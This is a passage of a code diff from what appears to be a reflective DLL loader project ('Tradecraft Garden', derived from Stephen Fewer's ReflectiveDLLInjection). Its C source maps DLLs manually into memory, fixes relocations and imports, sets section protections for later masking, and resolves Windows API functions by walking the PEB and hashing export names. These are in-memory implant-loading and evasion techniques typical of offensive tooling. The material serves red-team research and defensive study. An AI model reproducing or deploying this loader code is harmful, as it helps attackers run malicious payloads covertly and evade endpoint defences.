if (_strncmp((char *)sectionHdr->Name, (char *)reloc, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_RELOC;
}
return LABEL_EMPTY;
}
void FixSectionsAndTrackMemory(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD newProtection = 0;
DWORD oldProtection = 0;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* set memory based on header characteristics */
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtection = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtection = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtection = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtection = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtection = PAGE_EXECUTE_READWRITE;
}
funcs->VirtualProtect(sectionDst, sectionHdr->SizeOfRawData, newProtection, &oldProtection);
/* set the region info */
region->Sections[x].Label = GetLabelFromSectionHeader(sectionHdr);
region->Sections[x].BaseAddress = sectionDst;
region->Sections[x].VirtualSize = sectionHdr->SizeOfRawData;
region->Sections[x].CurrentProtect = newProtection;
region->Sections[x].PreviousProtect = newProtection;
region->Sections[x].MaskSection = TRUE;
/* advance to our next section */
sectionHdr++;
}
}
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
IMAGE_DATA_DIRECTORY * relocationData;
ULONG_PTR newBaseAddress;
IMAGE_BASE_RELOCATION * relocation;
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
// calculate the base address delta and perform relocations (even if we load at desired image base)
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
/* check if there are relocations present */
if (relocationData->Size) {
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
while (relocation->SizeOfBlock) {
/* process this next relocation */
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
/* go on to our next relocation */
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
}
}
}
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
void * hLib;
IMAGE_THUNK_DATA * firstThunk;
IMAGE_THUNK_DATA * originalFirstThunk;
IMAGE_IMPORT_BY_NAME * importByName;
ULONG_PTR importByOrdinal;
/* load whatever library we need here */
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
/* get our thunks */
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
* The different member names seem more for semantics than anything else. We're skipping the
* field names in the union and just stomping over whatever is in this pointer-sized structure */
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
while ( DEREF(firstThunk) ) {
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
/*
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
* that our pointer is < MAXUSHORT ala ReactOS:
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
*/
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
}
/* OK, we are doing an import by name. */
else {
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
}
/* increment our pointers, to look at next import option */
firstThunk++;
if (originalFirstThunk)
originalFirstThunk++;
}
}
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
IMAGE_DATA_DIRECTORY * importTableHdr;
IMAGE_IMPORT_DESCRIPTOR * importDesc;
/* grab our header for the import table */
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
/* start with the first function of our import table, we're working solely from our destination memory now */
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
/* walk our import table and process each of the entries */
while (importDesc->Name) {
ProcessImport(funcs, dll, dst, importDesc);
importDesc++;
}
}
void LoadSections(DLLDATA * dll, char * src, char * dst) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
/* advance to our next section */
sectionHdr++;
}
}
void ParseDLL(char * src, DLLDATA * data) {
data->DosHeader = (IMAGE_DOS_HEADER *)src;
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
}
DWORD SizeOfDLL(DLLDATA * data) {
return data->OptionalHeader->SizeOfImage;
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
/* process our relocations */
ProcessRelocations(dll, src, dst);
}
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
udrl/src/loaderdefs.h
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/*
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of Harmony Security nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This file is derived from ReflectiveLoader.h from Stephen Fewer's ReflectiveDLLInjection project.
* A few items were removed, but otherwise, this should largely be unchanged.
*
* https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.h
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#define HASH_KEY 13
//===============================================================================================//
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
udrl/src/resolve_eat.h
+108
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@@ -0,0 +1,108 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Walk the Export Address Table to resolve functions by hash
*/
char * findModuleByHash(DWORD moduleHash) {
_PEB * pPEB;
LDR_DATA_TABLE_ENTRY * pEntry;
char * name;
DWORD hashValue;
USHORT counter;
/* get the Process Enviroment Block */
#if defined WIN_X64
pPEB = (_PEB *)__readgsqword( 0x60 );
#elif defined WIN_X86
pPEB = (_PEB *)__readfsdword( 0x30 );
#else
#error "Neither WIN_X64 or WIN_X86 is defined"
#endif
/* walk the module list */
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
while (pEntry) {
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
We are walking and hashing this string, one byte at a time */
name = (char *)pEntry->BaseDllName.pBuffer;
counter = pEntry->BaseDllName.Length;
/* calculate the hash of our DLL name */
hashValue = 0;
do {
hashValue = ror(hashValue);
if (*name >= 'a')
hashValue += (BYTE)*name - 0x20;
else
hashValue += (BYTE)*name;
name++;
} while (--counter);
/* if we have a match, return it */
if (hashValue == moduleHash)
return pEntry->DllBase;
/* next entry */
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
}
return NULL;
}
void * findFunctionByHash(char * src, DWORD wantedFunction) {
DLLDATA data;
IMAGE_DATA_DIRECTORY * exportTableHdr;
IMAGE_EXPORT_DIRECTORY * exportDir;
DWORD * exportName;
WORD * exportOrdinal;
DWORD * exportAddress;
DWORD hashValue;
/* parse our DLL! */
ParseDLL(src, &data);
/* grab our export directory */
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
/* walk the array of exported names/address ordinals */
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
while (TRUE) {
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
if (hashValue == wantedFunction) {
/* figure out the base of our AddressOfFunctions array */
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
/* increment it by the current value of our exportOrdinal array */
exportAddress += *exportOrdinal;
/* and... there-in is our virtual address to the actual ptr we want */
return PTR_OFFSET(src, *exportAddress);
}
exportName++;
exportOrdinal++;
}
}
udrl/src/stdlib.h
+27
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@@ -0,0 +1,27 @@
#include <windows.h>
void* _memset(void* dest, int ch, size_t count) {
unsigned char* p = (unsigned char*)dest;
unsigned char value = (unsigned char)ch;
for (size_t i = 0; i < count; i++) {
p[i] = value;
}
return dest;
}
int _strncmp(const char *s1, const char *s2, size_t n) {
while (n-- > 0) {
unsigned char c1 = (unsigned char)*s1++;
unsigned char c2 = (unsigned char)*s2++;
if (c1 != c2)
return c1 - c2;
if (c1 == '\0')
break;
}
return 0;
}